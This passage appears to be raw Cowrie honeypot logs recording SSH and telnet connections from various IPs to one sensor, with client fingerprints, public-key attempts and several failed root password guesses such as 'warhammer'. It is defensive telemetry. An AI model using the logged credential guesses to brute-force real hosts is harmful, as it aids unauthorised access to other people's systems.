16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:30:38.788100Z","src_ip":"37.233.85.71","session":"c2e04aec078e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"n1frdz","message":"login attempt [root/n1frdz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:30:39.103727Z","src_ip":"37.233.85.71","session":"c2e04aec078e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:30:40.211742Z","src_ip":"37.233.85.71","session":"c2e04aec078e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37908,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a2be6c48620","protocol":"telnet","message":"New connection: 192.119.13.58:37908 (10.17.0.5:23) [session: 7a2be6c48620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:30:49.790815Z"}
{"eventid":"cowrie.session.closed","duration":45.33554148674011,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:30:59.720278Z","src_ip":"186.195.16.41","session":"050ada0b4740","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":48340,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3de6eb3eb80","protocol":"ssh","message":"New connection: 89.108.118.91:48340 (10.17.0.5:22) [session: f3de6eb3eb80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:31:18.272843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:31:18.434632Z","src_ip":"89.108.118.91","session":"f3de6eb3eb80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:31:18.437653Z","src_ip":"89.108.118.91","session":"f3de6eb3eb80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dbnfkz","message":"login attempt [root/dbnfkz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:31:19.146049Z","src_ip":"89.108.118.91","session":"f3de6eb3eb80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:31:20.292428Z","src_ip":"89.108.118.91","session":"f3de6eb3eb80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.06261587142944,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:31:25.853337Z","src_ip":"192.119.13.58","session":"7a2be6c48620","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.185.59.2","src_port":53136,"dst_ip":"10.17.0.5","dst_port":23,"session":"2232b5ce430c","protocol":"telnet","message":"New connection: 177.185.59.2:53136 (10.17.0.5:23) [session: 2232b5ce430c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:31:29.440082Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":37760,"dst_ip":"10.17.0.5","dst_port":22,"session":"d916582b4d96","protocol":"ssh","message":"New connection: 45.148.10.121:37760 (10.17.0.5:22) [session: d916582b4d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:31:30.858730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:31:30.864337Z","src_ip":"45.148.10.121","session":"d916582b4d96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:31:31.065105Z","src_ip":"45.148.10.121","session":"d916582b4d96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.185.59.2","src_port":53556,"dst_ip":"10.17.0.5","dst_port":23,"session":"af75920b8013","protocol":"telnet","message":"New connection: 177.185.59.2:53556 (10.17.0.5:23) [session: af75920b8013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:31:32.701947Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59970,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bcc4e43c60f","protocol":"telnet","message":"New connection: 192.119.13.58:59970 (10.17.0.5:23) [session: 0bcc4e43c60f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:31:48.190179Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.20.127.155","src_port":34678,"dst_ip":"10.17.0.5","dst_port":22,"session":"0732385de90d","protocol":"ssh","message":"New connection: 198.20.127.155:34678 (10.17.0.5:22) [session: 0732385de90d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:32:13.995537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:32:13.999713Z","src_ip":"198.20.127.155","session":"0732385de90d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:32:14.081758Z","src_ip":"198.20.127.155","session":"0732385de90d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:6d:59:2b:a3:0c:a8:40:67:cf:16:b1:39:a3:8e:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjkNyZdgMdZxys6rabVG/MUQF49oscPggTk3myUF1NBs/OzwxPLs2yRt7LX6ppCinAv6miJcfrwrRKdy502jyWl0+K4IFQJOyNsB4EZokqbULWMFodzOYnCpayAaEn7gKHkzakKCZS5BTfDt0kCntWHxLKJYHuKbE7E9BHhYiRHDKbx0qZN4sqbYFT54zv9j6szmuG23Y/yYUS+vyvsegvmLqUk6mrDAs5BoQvYzuTbodI/wtNke2aNPjcdFCt0lSbaoLlwTTy98Qu7+qVQOzHHtCldz5SVjOpXDpYSQlusmy8BychLPhw+INksFuJQ0XJ9ciy9AKY7sGeaTOl8Y+P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:6d:59:2b:a3:0c:a8:40:67:cf:16:b1:39:a3:8e:e7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:32:14.472231Z","src_ip":"198.20.127.155","session":"0732385de90d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:6d:59:2b:a3:0c:a8:40:67:cf:16:b1:39:a3:8e:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjkNyZdgMdZxys6rabVG/MUQF49oscPggTk3myUF1NBs/OzwxPLs2yRt7LX6ppCinAv6miJcfrwrRKdy502jyWl0+K4IFQJOyNsB4EZokqbULWMFodzOYnCpayAaEn7gKHkzakKCZS5BTfDt0kCntWHxLKJYHuKbE7E9BHhYiRHDKbx0qZN4sqbYFT54zv9j6szmuG23Y/yYUS+vyvsegvmLqUk6mrDAs5BoQvYzuTbodI/wtNke2aNPjcdFCt0lSbaoLlwTTy98Qu7+qVQOzHHtCldz5SVjOpXDpYSQlusmy8BychLPhw+INksFuJQ0XJ9ciy9AKY7sGeaTOl8Y+P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:32:14.475914Z","src_ip":"198.20.127.155","session":"0732385de90d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:da:71:18:eb:f8:04:ef:a4:09:23:49:f2:b3:12:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKNiU3N36jlzHAQterkiDnp1g9x4SxDHvPcp8w1lUEaMs6AYOjDpeJsGQH9MoEyQ9WxrtHD+S50YegJFE7DBVrgtyKUrlfMtRjSK09K1Sb/y5cjMY0ZCNg3dhzdwZUeDeHPhV0xA0KeDaNaHr1PUV0WlGW9Y8Iz4cRFOKQ7O56vF+EPsZNyj+Yop1w75B6SnmWzGe2GNDmbZZcqUPvy2JXvpFxkgr4qVNnMzMH8jPtzPmPVuADVi8zfl4YD03iDBkFi+QSv7p8qVHvXfN8+D/+AAF5xgaVR+m7TLgApQcr8eF7s5a2fZ7UiUxHuidefgHDrLJ4pnArHDmaXBdKsYdP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:da:71:18:eb:f8:04:ef:a4:09:23:49:f2:b3:12:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:32:14.559180Z","src_ip":"198.20.127.155","session":"0732385de90d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:da:71:18:eb:f8:04:ef:a4:09:23:49:f2:b3:12:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKNiU3N36jlzHAQterkiDnp1g9x4SxDHvPcp8w1lUEaMs6AYOjDpeJsGQH9MoEyQ9WxrtHD+S50YegJFE7DBVrgtyKUrlfMtRjSK09K1Sb/y5cjMY0ZCNg3dhzdwZUeDeHPhV0xA0KeDaNaHr1PUV0WlGW9Y8Iz4cRFOKQ7O56vF+EPsZNyj+Yop1w75B6SnmWzGe2GNDmbZZcqUPvy2JXvpFxkgr4qVNnMzMH8jPtzPmPVuADVi8zfl4YD03iDBkFi+QSv7p8qVHvXfN8+D/+AAF5xgaVR+m7TLgApQcr8eF7s5a2fZ7UiUxHuidefgHDrLJ4pnArHDmaXBdKsYdP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:32:14.562828Z","src_ip":"198.20.127.155","session":"0732385de90d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:d6:6d:a6:52:1a:87:ff:76:7c:0b:11:fd:bc:37:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDV1RDJRhSu2/aL6q26CqWAJ4cRIney6b4Iis0WXLB3W9W+q8VBpYpJftGViQ25EZbISNmsY0E5V+gX70f5IDUzLd+xTSiRN0JAcxnk788VZxsSyCB87idNjrqA3zt146bq+uq5IZvGOsNs+7NiEV3AgvsnHT06j2zJ70u/xwj+wcpP/XHX5vbCL5FPfahnbIaaH4rGXJC2KTeJQG4bT8bdtL3n4hC5XSbP87DdMrJreFs3MStAdmnajfNr5R1x0MZXDSD48/Y5eUt/WGYEitqBuRIOLsSlGNuxe8XE8MeElUZOGMJ4v7zSZ0XlaoJiG165bLfGqwUUAe9oPFBaTlRaZjpF+6jF6Y77nHRzg/xkWUX/OEG9SuEUXksMALq8cdyDZ5DoVSJV6m6OLU7d1udwqyFlRiOFMcz8gEsuieJjTCNwSlV0YhIZ0oGOq6D2sInQNfmY+wPci2uYDeYgKn7eF4zs8oeiqf/zm85AWaPtzt0QFAW1tacRLFDYpjHXYGZJ4YrqQYVKLNOL2YJlx890xRm9jJeXTPd9brC2b9guUcB0MITlps+ftv5esueLrrTE1W4/HYDc9pxolnYYdfhp/SRtqmPVia619I5oNIIGub8eP+TSVpEOjDiGo9yCrNej7fPLHBgRpXWTwG4tNNt815R3JaoDinUJ6iK2Z+KfQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:d6:6d:a6:52:1a:87:ff:76:7c:0b:11:fd:bc:37:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:32:14.650836Z","src_ip":"198.20.127.155","session":"0732385de90d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:d6:6d:a6:52:1a:87:ff:76:7c:0b:11:fd:bc:37:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDV1RDJRhSu2/aL6q26CqWAJ4cRIney6b4Iis0WXLB3W9W+q8VBpYpJftGViQ25EZbISNmsY0E5V+gX70f5IDUzLd+xTSiRN0JAcxnk788VZxsSyCB87idNjrqA3zt146bq+uq5IZvGOsNs+7NiEV3AgvsnHT06j2zJ70u/xwj+wcpP/XHX5vbCL5FPfahnbIaaH4rGXJC2KTeJQG4bT8bdtL3n4hC5XSbP87DdMrJreFs3MStAdmnajfNr5R1x0MZXDSD48/Y5eUt/WGYEitqBuRIOLsSlGNuxe8XE8MeElUZOGMJ4v7zSZ0XlaoJiG165bLfGqwUUAe9oPFBaTlRaZjpF+6jF6Y77nHRzg/xkWUX/OEG9SuEUXksMALq8cdyDZ5DoVSJV6m6OLU7d1udwqyFlRiOFMcz8gEsuieJjTCNwSlV0YhIZ0oGOq6D2sInQNfmY+wPci2uYDeYgKn7eF4zs8oeiqf/zm85AWaPtzt0QFAW1tacRLFDYpjHXYGZJ4YrqQYVKLNOL2YJlx890xRm9jJeXTPd9brC2b9guUcB0MITlps+ftv5esueLrrTE1W4/HYDc9pxolnYYdfhp/SRtqmPVia619I5oNIIGub8eP+TSVpEOjDiGo9yCrNej7fPLHBgRpXWTwG4tNNt815R3JaoDinUJ6iK2Z+KfQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:32:14.654366Z","src_ip":"198.20.127.155","session":"0732385de90d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:fc:66:4e:ee:fa:62:07:83:7f:26:68:fc:d8:fc:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbZ0mw+h7RbEIRmIYRVireINldpwmyXeAkXNMwxNx7RNFuGPT8i6V8nDbVgGsSAjHbWOa8anatWG42qijWwIlDOiSG3aSTjUXQpsIx4oBTBzkTRsSzgBXXC/iA87ENkxV0HwMA8dyB8Jd2ah8ydd6ddjHQ8TJsnE5BpEs56UHPt4xoNmY4I5u80agrPbq3QcYxFAuGyZFW09ZpsMq+gfBP6mbdnq9nlEz+p0qKuxkLoHC3qQhj+sXp7b+0ghgFIzcdrey/jxiDKtvN5P+lJ9tkldr4+68p9rdgicTZkEXpZ4Y5BGlw/h/nb2jebUloNLbA27MZLnUzfqN7/gaHgCr/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:fc:66:4e:ee:fa:62:07:83:7f:26:68:fc:d8:fc:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:32:14.743472Z","src_ip":"198.20.127.155","session":"0732385de90d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:fc:66:4e:ee:fa:62:07:83:7f:26:68:fc:d8:fc:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbZ0mw+h7RbEIRmIYRVireINldpwmyXeAkXNMwxNx7RNFuGPT8i6V8nDbVgGsSAjHbWOa8anatWG42qijWwIlDOiSG3aSTjUXQpsIx4oBTBzkTRsSzgBXXC/iA87ENkxV0HwMA8dyB8Jd2ah8ydd6ddjHQ8TJsnE5BpEs56UHPt4xoNmY4I5u80agrPbq3QcYxFAuGyZFW09ZpsMq+gfBP6mbdnq9nlEz+p0qKuxkLoHC3qQhj+sXp7b+0ghgFIzcdrey/jxiDKtvN5P+lJ9tkldr4+68p9rdgicTZkEXpZ4Y5BGlw/h/nb2jebUloNLbA27MZLnUzfqN7/gaHgCr/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:32:14.748409Z","src_ip":"198.20.127.155","session":"0732385de90d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:dd:53:66:9b:99:1f:ce:7f:ef:9c:98:3c:07:c1:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqjqGmC1lMb1lnrP1zJMGyxG/mNjvpVfC/2z+QThDa2BqrD+kZqGSoTQOKUWZSFmmkwsZgQ+pBxQgmQ8hbpFnIndY2nR4zQ9bpgxDQQuL3kGbQX1CqMGAM4ljlNEBijKM4VbwYGE6mWnr/6PSwl7LJvWIaJXh4ajYTF0Ci4tqITt1gGgOWfwYkvKlpa0IendIMAP7P9ru6UxBmhhLZvoFl2g9J53M8EZEAnwoBRv8CwKTIRHjdEUa6HK6zG1jYTi2AF2GxaLrEijnlE6D58ONStzw2sJrCowxuztk5dFcMirBNirN1dxepx1CgJQgZ1vq5GTKQd/mHixbPzomcM/byQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:dd:53:66:9b:99:1f:ce:7f:ef:9c:98:3c:07:c1:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:32:14.834945Z","src_ip":"198.20.127.155","session":"0732385de90d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:dd:53:66:9b:99:1f:ce:7f:ef:9c:98:3c:07:c1:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqjqGmC1lMb1lnrP1zJMGyxG/mNjvpVfC/2z+QThDa2BqrD+kZqGSoTQOKUWZSFmmkwsZgQ+pBxQgmQ8hbpFnIndY2nR4zQ9bpgxDQQuL3kGbQX1CqMGAM4ljlNEBijKM4VbwYGE6mWnr/6PSwl7LJvWIaJXh4ajYTF0Ci4tqITt1gGgOWfwYkvKlpa0IendIMAP7P9ru6UxBmhhLZvoFl2g9J53M8EZEAnwoBRv8CwKTIRHjdEUa6HK6zG1jYTi2AF2GxaLrEijnlE6D58ONStzw2sJrCowxuztk5dFcMirBNirN1dxepx1CgJQgZ1vq5GTKQd/mHixbPzomcM/byQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:32:14.839630Z","src_ip":"198.20.127.155","session":"0732385de90d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:32:14.924917Z","src_ip":"198.20.127.155","session":"0732385de90d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":60230,"dst_ip":"159.203.135.109","dst_port":22,"session":"6294384bf0fc","protocol":"ssh","message":"New connection: 109.172.54.111:60230 (159.203.135.109:22) [session: 6294384bf0fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:32:15.382492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:32:15.387561Z","src_ip":"109.172.54.111","session":"6294384bf0fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:32:15.484269Z","src_ip":"109.172.54.111","session":"6294384bf0fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warhammer","message":"login attempt [root/warhammer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:32:15.776335Z","src_ip":"109.172.54.111","session":"6294384bf0fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:32:16.875711Z","src_ip":"109.172.54.111","session":"6294384bf0fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58004,"dst_ip":"10.17.0.5","dst_port":23,"session":"b06e71b6d919","protocol":"telnet","message":"New connection: 192.119.13.58:58004 (10.17.0.5:23) [session: b06e71b6d919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:32:22.458727Z"}
{"eventid":"cowrie.session.closed","duration":38.707361698150635,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:32:26.897414Z","src_ip":"192.119.13.58","session":"0bcc4e43c60f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37898,"dst_ip":"10.17.0.5","dst_port":23,"session":"41efb5a8bbb2","protocol":"telnet","message":"New connection: 192.119.13.58:37898 (10.17.0.5:23) [session: 41efb5a8bbb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:32:58.939369Z"}
{"eventid":"cowrie.session.closed","duration":41.899269104003906,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:33:04.357908Z","src_ip":"192.119.13.58","session":"b06e71b6d919","protocol":"telnet"}
